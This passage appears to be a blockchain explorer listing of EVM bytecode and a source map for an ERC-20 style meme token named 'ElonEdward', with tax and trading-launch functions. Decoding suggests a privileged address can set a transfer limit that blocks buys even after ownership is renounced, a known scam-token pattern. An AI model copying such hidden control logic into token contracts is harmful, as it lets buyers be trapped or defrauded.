02826121c1565b602082019050919050565b60006020820190508181036000830152612226816121ea565b9050919050565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b6000612263601883611e8a565b915061226e8261222d565b602082019050919050565b6000602082019050818103600083015261229281612256565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006122cf601783611e8a565b91506122da82612299565b602082019050919050565b600060208201905081810360008301526122fe816122c2565b9050919050565b60008151905061231481611f71565b92915050565b6000602082840312156123305761232f611f3a565b5b600061233e84828501612305565b91505092915050565b600060408201905061235c6000830185612157565b6123696020830184612157565b9392505050565b6000819050919050565b6000819050919050565b600061239f61239a61239584612370565b61237a565b611f9d565b9050919050565b6123af81612384565b82525050565b600060c0820190506123ca6000830189612157565b6123d76020830188612049565b6123e460408301876123a6565b6123f160608301866123a6565b6123fe6080830185612157565b61240b60a0830184612049565b979650505050505050565b60008151905061242581611fa7565b92915050565b60008060006060848603121561244457612443611f3a565b5b600061245286828701612416565b935050602061246386828701612416565b925050604061247486828701612416565b9150509250925092565b60006040820190506124936000830185612157565b6124a06020830184612049565b9392505050565b6124b081612013565b81146124bb57600080fd5b50565b6000815190506124cd816124a7565b92915050565b6000602082840312156124e9576124e8611f3a565b5b60006124f7848285016124be565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061255c602483611e8a565b915061256782612500565b604082019050919050565b6000602082019050818103600083015261258b8161254f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006125ee602283611e8a565b91506125f982612592565b604082019050919050565b6000602082019050818103600083015261261d816125e1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612680602583611e8a565b915061268b82612624565b604082019050919050565b600060208201905081810360008301526126af81612673565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612712602383611e8a565b915061271d826126b6565b604082019050919050565b6000602082019050818103600083015261274181612705565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006127a4602983611e8a565b91506127af82612748565b604082019050919050565b600060208201905081810360008301526127d381612797565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061281482611f9d565b915061281f83611f9d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612858576128576127da565b5b828202905092915050565b600061286e82611f9d565b915061287983611f9d565b92508282101561288c5761288b6127da565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61292a81611f5f565b82525050565b600061293c8383612921565b60208301905092915050565b6000602082019050919050565b6000612960826128f5565b61296a8185612900565b935061297583612911565b8060005b838110156129a657815161298d8882612930565b975061299883612948565b925050600181019050612979565b5085935050505092915050565b600060a0820190506129c86000830188612049565b6129d560208301876123a6565b81810360408301526129e78186612955565b90506129f66060830185612157565b612a036080830184612049565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612a69602a83611e8a565b9150612a7482612a0d565b604082019050919050565b60006020820190508181036000830152612a9881612a5c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ad982611f9d565b9150612ae483611f9d565b925082612af457612af3612a9f565b5b828204905092915050565b6000612b0a82611f9d565b9150612b1583611f9d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b4a57612b496127da565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612b8b601b83611e8a565b9150612b9682612b55565b602082019050919050565b60006020820190508181036000830152612bba81612b7e565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c1d602183611e8a565b9150612c2882612bc1565b604082019050919050565b60006020820190508181036000830152612c4c81612c10565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f85eff2efde4fc50087d7e1769a6d1507edd5a6a0a3b027d5277b38b02448f0964736f6c63430008090033
Deployed Bytecode
0x6080604052600436106100f75760003560e01c8063715018a61161008a578063c6d69a3011610059578063c6d69a3014610325578063c9567bf91461034e578063dd62ed3e14610365578063f4293890146103a2576100fe565b8063715018a61461027b5780638da5cb5b1461029257806395d89b41146102bd578063a9059cbb146102e8576100fe565b806323b872dd116100c657806323b872dd146101bf578063313ce567146101fc57806351bc3c851461022757806370a082311461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b5780631ae3d5ff14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103b9565b6040516101259190611f18565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190611fd3565b6103f6565b604051610162919061202e565b60405180910390f35b34801561017757600080fd5b50610180610414565b60405161018d9190612058565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b89190612073565b610420565b005b3480156101cb57600080fd5b506101e660048036038101906101e191906120a0565b61048b565b6040516101f3919061202e565b60405180910390f35b34801561020857600080fd5b50610211610564565b60405161021e919061210f565b60405180910390f35b34801561023357600080fd5b5061023c610569565b005b34801561024a57600080fd5b506102656004803603810190610260919061212a565b6105e3565b6040516102729190612058565b60405180910390f35b34801561028757600080fd5b50610290610634565b005b34801561029e57600080fd5b506102a7610787565b6040516102b49190612166565b60405180910390f35b3480156102c957600080fd5b506102d26107b0565b6040516102df9190611f18565b60405180910390f35b3480156102f457600080fd5b5061030f600480360381019061030a9190611fd3565b6107ed565b60405161031c919061202e565b60405180910390f35b34801561033157600080fd5b5061034c60048036038101906103479190612073565b61080b565b005b34801561035a57600080fd5b506103636108ee565b005b34801561037157600080fd5b5061038c60048036038101906103879190612181565b610e0f565b6040516103999190612058565b60405180910390f35b3480156103ae57600080fd5b506103b7610e96565b005b60606040518060400160405280600a81526020017f456c6f6e45647761726400000000000000000000000000000000000000000000815250905090565b600061040a610403610f08565b8484610f10565b6001905092915050565b6000633b9aca00905090565b610428610f08565b73ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461048157600080fd5b80600a8190555050565b60006104988484846110db565b610559846104a4610f08565b61055485604051806060016040528060288152602001612c5460289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050a610f08565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114129092919063ffffffff16565b610f10565b600190509392505050565b600090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166105aa610f08565b73ffffffffffffffffffffffffffffffffffffffff16146105ca57600080fd5b60006105d5306105e3565b90506105e081611476565b50565b600061062d600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116fe565b9050919050565b61063c610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106c09061220d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600a81526020017f454c4f4e45445741524400000000000000000000000000000000000000000000815250905090565b60006108016107fa610f08565b84846110db565b6001905092915050565b610813610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108979061220d565b60405180910390fd5b60008110156108e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108db90612279565b60405180910390fd5b8060058190555050565b6108f6610f08565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161097a9061220d565b60405180910390fd5b600860149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906122e5565b60405180910390fd5b610a0430600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16633b9aca00610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a6c57600080fd5b505afa158015610a80573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aa4919061231a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2857600080fd5b505afa158015610b3c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b60919061231a565b6040518363ffffffff1660e01b8152600401610b7d929190612347565b602060405180830381600087803b158015610b9757600080fd5b505af1158015610bab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcf919061231a565b600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610c58306105e3565b600080610c63610787565b426040518863ffffffff1660e01b8152600401610c85969594939291906123b5565b6060604051808303818588803b158015610c9e57600080fd5b505af1158015610cb2573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610cd7919061242b565b5050506001600860166101000a81548160ff021916908315150217905550633b9aca00600a819055506001600860146101000a81548160ff021916908315150217905550600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610dba92919061247e565b602060405180830381600087803b158015610dd457600080fd5b505af1158015610de8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0c91906124d3565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610ed7610f08565b73ffffffffffffffffffffffffffffffffffffffff1614610ef757600080fd5b6000479050610f058161176c565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7790612572565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe790612604565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ce9190612058565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561114b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114290612696565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b290612728565b60405180910390fd5b600081116111fe576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111f5906127ba565b60405180910390fd5b600a5481600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156112ad5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b6112b85760006112bb565b60015b60ff166112c89190612809565b11156112d357600080fd5b6112db610787565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113495750611319610787565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561140257600860159054906101000a900460ff161580156113b95750600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156113d15750600860169054906101000a900460ff165b15611401576113e76113e2306105e3565b611476565b600047905060008111156113ff576113fe4761176c565b5b505b5b61140d8383836117d8565b505050565b600083831115829061145a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114519190611f18565b60405180910390fd5b50600083856114699190612863565b9050809150509392505050565b6001600860156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156114ae576114ad612897565b5b6040519080825280602002602001820160405280156114dc5781602001602082028036833780820191505090505b50905030816000815181106114f4576114f36128c6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561159657600080fd5b505afa1580156115aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ce919061231a565b816001815181106115e2576115e16128c6565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061164930600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f10565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016116ad9594939291906129b3565b600060405180830381600087803b1580156116c757600080fd5b505af11580156116db573d6000803e3d6000fd5b50505050506000600860156101000a81548160ff02191690831515021790555050565b6000600354821115611745576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173c90612a7f565b60405180910390fd5b600061174f6117e8565b9050611764818461181390919063ffffffff16565b915050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156117d4573d6000803e3d6000fd5b5050565b6117e383838361185d565b505050565b60008060006117f5611a28565b9150915061180c818361181390919063ffffffff16565b9250505090565b600061185583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611a7b565b905092915050565b60008060008060008061186f87611ade565b9550955095509550955095506118cd86600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b4690919063ffffffff16565b600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061196285600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9090919063ffffffff16565b600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119ae81611bee565b6119b88483611cab565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a159190612058565b60405180910390a3505050505050505050565b600080600060035490506000633b9aca009050611a54633b9aca0060035461181390919063ffffffff16565b821015611a6e57600354633b9aca00935093505050611a77565b81819350935050505b9091565b60008083118290611ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ab99190611f18565b60405180910390fd5b5060008385611ad19190612ace565b9050809150509392505050565b6000806000806000806000806000611afb8a600554600554611ce5565b9250925092506000611b0b6117e8565b90506000806000611b1e8e878787611d7b565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611b8883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611412565b905092915050565b6000808284611b9f9190612aff565b905083811015611be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdb90612ba1565b60405180910390fd5b8091505092915050565b6000611bf86117e8565b90506000611c0f8284611e0490919063ffffffff16565b9050611c6381600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b9090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611cc082600354611b4690919063ffffffff16565b600381905550611cdb81600454611b9090919063ffffffff16565b6004819055505050565b600080600080611d116064611d03888a611e0490919063ffffffff16565b61181390919063ffffffff16565b90506000611d3b6064611d2d888b611e0490919063ffffffff16565b61181390919063ffffffff16565b90506000611d6482611d56858c611b4690919063ffffffff16565b611b4690919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611d948589611e0490919063ffffffff16565b90506000611dab8689611e0490919063ffffffff16565b90506000611dc28789611e0490919063ffffffff16565b90506000611deb82611ddd8587611b4690919063ffffffff16565b611b4690919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e175760009050611e79565b60008284611e259190612809565b9050828482611e349190612ace565b14611e74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6b90612c33565b60405180910390fd5b809150505b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015611eb9578082015181840152602081019050611e9e565b83811115611ec8576000848401525b50505050565b6000601f19601f8301169050919050565b6000611eea82611e7f565b611ef48185611e8a565b9350611f04818560208601611e9b565b611f0d81611ece565b840191505092915050565b60006020820190508181036000830152611f328184611edf565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611f6a82611f3f565b9050919050565b611f7a81611f5f565b8114611f8557600080fd5b50565b600081359050611f9781611f71565b92915050565b6000819050919050565b611fb081611f9d565b8114611fbb57600080fd5b50565b600081359050611fcd81611fa7565b92915050565b60008060408385031215611fea57611fe9611f3a565b5b6000611ff885828601611f88565b925050602061200985828601611fbe565b9150509250929050565b60008115159050919050565b61202881612013565b82525050565b6000602082019050612043600083018461201f565b92915050565b61205281611f9d565b82525050565b600060208201905061206d6000830184612049565b92915050565b60006020828403121561208957612088611f3a565b5b600061209784828501611fbe565b91505092915050565b6000806000606084860312156120b9576120b8611f3a565b5b60006120c786828701611f88565b93505060206120d886828701611f88565b92505060406120e986828701611fbe565b9150509250925092565b600060ff82169050919050565b612109816120f3565b82525050565b60006020820190506121246000830184612100565b92915050565b6000602082840312156121405761213f611f3a565b5b600061214e84828501611f88565b91505092915050565b61216081611f5f565b82525050565b600060208201905061217b6000830184612157565b92915050565b6000806040838503121561219857612197611f3a565b5b60006121a685828601611f88565b92505060206121b785828601611f88565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006121f7602083611e8a565b9150612202826121c1565b602082019050919050565b60006020820190508181036000830152612226816121ea565b9050919050565b7f546178206d757374206265206e6f6e2d6e656761746976650000000000000000600082015250565b6000612263601883611e8a565b915061226e8261222d565b602082019050919050565b6000602082019050818103600083015261229281612256565b9050919050565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b60006122cf601783611e8a565b91506122da82612299565b602082019050919050565b600060208201905081810360008301526122fe816122c2565b9050919050565b60008151905061231481611f71565b92915050565b6000602082840312156123305761232f611f3a565b5b600061233e84828501612305565b91505092915050565b600060408201905061235c6000830185612157565b6123696020830184612157565b9392505050565b6000819050919050565b6000819050919050565b600061239f61239a61239584612370565b61237a565b611f9d565b9050919050565b6123af81612384565b82525050565b600060c0820190506123ca6000830189612157565b6123d76020830188612049565b6123e460408301876123a6565b6123f160608301866123a6565b6123fe6080830185612157565b61240b60a0830184612049565b979650505050505050565b60008151905061242581611fa7565b92915050565b60008060006060848603121561244457612443611f3a565b5b600061245286828701612416565b935050602061246386828701612416565b925050604061247486828701612416565b9150509250925092565b60006040820190506124936000830185612157565b6124a06020830184612049565b9392505050565b6124b081612013565b81146124bb57600080fd5b50565b6000815190506124cd816124a7565b92915050565b6000602082840312156124e9576124e8611f3a565b5b60006124f7848285016124be565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b600061255c602483611e8a565b915061256782612500565b604082019050919050565b6000602082019050818103600083015261258b8161254f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006125ee602283611e8a565b91506125f982612592565b604082019050919050565b6000602082019050818103600083015261261d816125e1565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612680602583611e8a565b915061268b82612624565b604082019050919050565b600060208201905081810360008301526126af81612673565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612712602383611e8a565b915061271d826126b6565b604082019050919050565b6000602082019050818103600083015261274181612705565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006127a4602983611e8a565b91506127af82612748565b604082019050919050565b600060208201905081810360008301526127d381612797565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061281482611f9d565b915061281f83611f9d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612858576128576127da565b5b828202905092915050565b600061286e82611f9d565b915061287983611f9d565b92508282101561288c5761288b6127da565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61292a81611f5f565b82525050565b600061293c8383612921565b60208301905092915050565b6000602082019050919050565b6000612960826128f5565b61296a8185612900565b935061297583612911565b8060005b838110156129a657815161298d8882612930565b975061299883612948565b925050600181019050612979565b5085935050505092915050565b600060a0820190506129c86000830188612049565b6129d560208301876123a6565b81810360408301526129e78186612955565b90506129f66060830185612157565b612a036080830184612049565b9695505050505050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b6000612a69602a83611e8a565b9150612a7482612a0d565b604082019050919050565b60006020820190508181036000830152612a9881612a5c565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612ad982611f9d565b9150612ae483611f9d565b925082612af457612af3612a9f565b5b828204905092915050565b6000612b0a82611f9d565b9150612b1583611f9d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612b4a57612b496127da565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612b8b601b83611e8a565b9150612b9682612b55565b602082019050919050565b60006020820190508181036000830152612bba81612b7e565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612c1d602183611e8a565b9150612c2882612bc1565b604082019050919050565b60006020820190508181036000830152612c4c81612c10565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f85eff2efde4fc50087d7e1769a6d1507edd5a6a0a3b027d5277b38b02448f0964736f6c63430008090033
Deployed Bytecode Sourcemap
3197:7732:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4399:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5163:146;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4640:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10636:55;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5314:292;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4561:74;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8981:169;;;;;;;;;;;;;:::i;:::-;;4733:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2422:133;;;;;;;;;;;;;:::i;:::-;;2237:70;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4478:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4867:152;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6162:120;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7437:507;;;;;;;;;;;;;:::i;:::-;;5024:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9155:168;;;;;;;;;;;;;:::i;:::-;;4399:74;4436:13;4463:5;;;;;;;;;;;;;;;;;4456:12;;4399:74;:::o;5163:146::-;5238:4;5249:39;5258:12;:10;:12::i;:::-;5272:7;5281:6;5249:8;:39::i;:::-;5300:4;5293:11;;5163:146;;;;:::o;4640:88::-;4695:7;3480:10;4709:14;;4640:88;:::o;10636:55::-;7990:12;:10;:12::i;:::-;7977:25;;:9;;;;;;;;;;;:25;;;7969:35;;;;;;10685:1:::1;10676:6;:10;;;;10636:55:::0;:::o;5314:292::-;5412:4;5423:36;5433:6;5441:9;5452:6;5423:9;:36::i;:::-;5464:121;5473:6;5481:12;:10;:12::i;:::-;5495:89;5533:6;5495:89;;;;;;;;;;;;;;;;;:11;:19;5507:6;5495:19;;;;;;;;;;;;;;;:33;5515:12;:10;:12::i;:::-;5495:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;5464:8;:121::i;:::-;5597:4;5590:11;;5314:292;;;;;:::o;4561:74::-;4602:5;4561:74;:::o;8981:169::-;9041:10;;;;;;;;;;;9025:26;;:12;:10;:12::i;:::-;:26;;;9017:35;;;;;;9057:23;9083:24;9101:4;9083:9;:24::i;:::-;9057:50;;9112:33;9129:15;9112:16;:33::i;:::-;9012:138;8981:169::o;4733:129::-;4799:7;4820:37;4840:7;:16;4848:7;4840:16;;;;;;;;;;;;;;;;4820:19;:37::i;:::-;4813:44;;4733:129;;;:::o;2422:133::-;2356:12;:10;:12::i;:::-;2346:22;;:6;;;;;;;;;;:22;;;2338:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2523:1:::1;2486:40;;2507:6;::::0;::::1;;;;;;;;2486:40;;;;;;;;;;;;2548:1;2531:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2422:133::o:0;2237:70::-;2275:7;2296:6;;;;;;;;;;;2289:13;;2237:70;:::o;4478:78::-;4517:13;4544:7;;;;;;;;;;;;;;;;;4537:14;;4478:78;:::o;4867:152::-;4945:4;4956:42;4966:12;:10;:12::i;:::-;4980:9;4991:6;4956:9;:42::i;:::-;5010:4;5003:11;;4867:152;;;;:::o;6162:120::-;2356:12;:10;:12::i;:::-;2346:22;;:6;;;;;;;;;;:22;;;2338:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6230:1:::1;6224:4;:7;;6216:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;6273:4;6264:8;:13;;;;6162:120:::0;:::o;7437:507::-;2356:12;:10;:12::i;:::-;2346:22;;:6;;;;;;;;;;:22;;;2338:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7495:11:::1;;;;;;;;;;;7494:12;7486:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;7539:50;7556:4;7571:7;;;;;;;;;;;3480:10;7539:8;:50::i;:::-;7620:7;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7602:47;;;7658:4;7665:7